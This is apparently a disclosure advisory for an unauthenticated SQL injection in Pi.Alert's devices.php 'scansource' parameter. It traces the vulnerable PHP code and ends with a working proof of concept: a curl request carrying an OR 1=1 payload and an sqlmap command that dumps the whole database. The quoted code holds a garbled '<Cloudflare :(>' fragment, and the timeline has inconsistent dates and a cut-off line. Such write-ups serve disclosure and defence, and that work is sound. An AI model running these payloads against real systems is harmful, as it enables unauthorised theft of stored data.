Pi.Alert - Unauthenticated SQL Injection
An unauthenticated attacker can exploit a SQL injection flaw in Pi.Alert to steal everything in its database.
Pi.Alert (>= 2024-06-29) is vulnerable to SQL injection, allowing attackers to dump all data in the database. The vulnerable endpoint accepts requests from unauthenticated attackers, even when password authentication is enabled.
The /pialert/php/server/devices.php route accepts unauthenticated requests when the action=getDevicesTotals parameter is passed. The scansource URL parameter is then used to construct the SQL query without proper sanitisation.
Code Flow
All code snippets can be found in /pialert/php/server/devices.php.
Firstly, we set ?action=getDevicesTotals to bypass the auth check.
if ($_SESSION["login"] != 2) {
if ($_REQUEST['action'] != "getDevicesTotals") {
header('Location: ../../index.php');
exit;
}
}?action=getDevicesTotals results in getDevicesTotals() getting called.
if (isset($_REQUEST['action']) && !empty($_REQUEST['action'])) {
$action = $_REQUEST['action'];
switch ($action) {
//...
case 'getDevicesTotals':getDevicesTotals();
break;
//...
}getDeviceTotals() constructs a raw SQL query using user provided input. Part of the query is constructed from getDeviceCondition(..., $_REQUEST['scansource']).
function getDevicesTotals() {
global $db;
if (!$_REQUEST['scansource']) {$scansource = 'local';} else {$scansource = $_REQUEST['scansource'];}
// Step 3: Pass `?scansource=<PAYLOAD>` to `getDevicesTotals()` and inject into SQL query
$result = $db->query(
'SELECT
(SELECT COUNT(*) FROM Devices ' . getDeviceCondition('all',$scansource) . ') as devices,
(SELECT COUNT(*) FROM Devices ' . getDeviceCondition('connected',$scansource) . ') as connected,
(SELECT COUNT(*) FROM Devices ' . getDeviceCondition('favorites',$scansource) . ') as favorites,
(SELECT COUNT(*) FROM Devices ' . getDeviceCondition('new',$scansource) . ') as new,
(SELECT COUNT(*) FROM Devices ' . getDeviceCondition('down',$scansource) . ') as down,
(SELECT COUNT(*) FROM Devices ' . getDeviceCondition('archived',$scansource) . ') as archived,
(SELECT COUNT(*) FROM Devices ' . getDeviceCondition('presence',$scansource) . ') as presence
');
// Step 5: SQL query is executed
$row = $result->fetchArray(SQLITE3_NUM);
echo json_encode(array($row[0], $row[1], $row[2], $row[3], $row[4], $row[5], $row[6]));
}
getDeviceCondition(...) does not perform sanitisation as can be seen below.
function getDeviceCondition($deviceStatus, $scansource) {
if ($scansource == "all") {$scansource_query = "";} else {$scansource_query = 'dev_ScanSource="'.$scansource.'" AND ';}
switch ($deviceStatus) {
case 'all':return 'WHERE '.$scansource_query.'dev_Archived=0';
break;
case 'connected':return 'WHERE '.$scansource_query.'dev_Archived=0 AND dev_PresentLastScan=1';
break;
case 'favorites':return 'WHERE '.$scansource_query.'dev_Archived=0 AND dev_Favorite=1';
break;
case 'new':return 'WHERE '.$scansource_query.'dev_Archived=0 AND dev_NewDevice=1';
break;
case 'down':return 'WHERE '.$scansource_query.'dev_Archived=0 AND dev_AlertDeviceDown=1 AND dev_PresentLastScan=0';
break;
case 'archived':return 'WHERE '.$scansource_query.'dev_Archived=1';
break;
case 'presence':return 'WHERE '.$scansource_query.'dev_Archived=0 AND dev_PresencePage=1';
break;
default: return 'WHERE '.$scansource_query.'AND 1=<Cloudflare :(>';
break;
}
}PoC
Firstly, check if the server is vulnerable.
curl \
--get \
--data 'action=getDevicesTotals' \
--data-urlencode 'scansource=local" OR "1"="1' \
'http://<host>/pialert/php/server/devices.php'
# Example output
#[9,9,9,9,9,9,9]An array of identical numbers that are not zero indicated the server is vulnerable.
Secondly, use sqlmap to exfiltrate data in the database.
sqlmap \
-u 'http://<host>/pialert/php/server/devices.php?action=getDevicesTotals&scansource=local' \
-p scansource \
--batch \
--level=2 \
--dump-allDisclosure Timeline
- 05/03/2026- Research started on version "2026-03-20".
- 18/03/2026 - SQL injection vulnerability disclosed.
- 06/05/2026 - Patched in commit 024cfdf in version.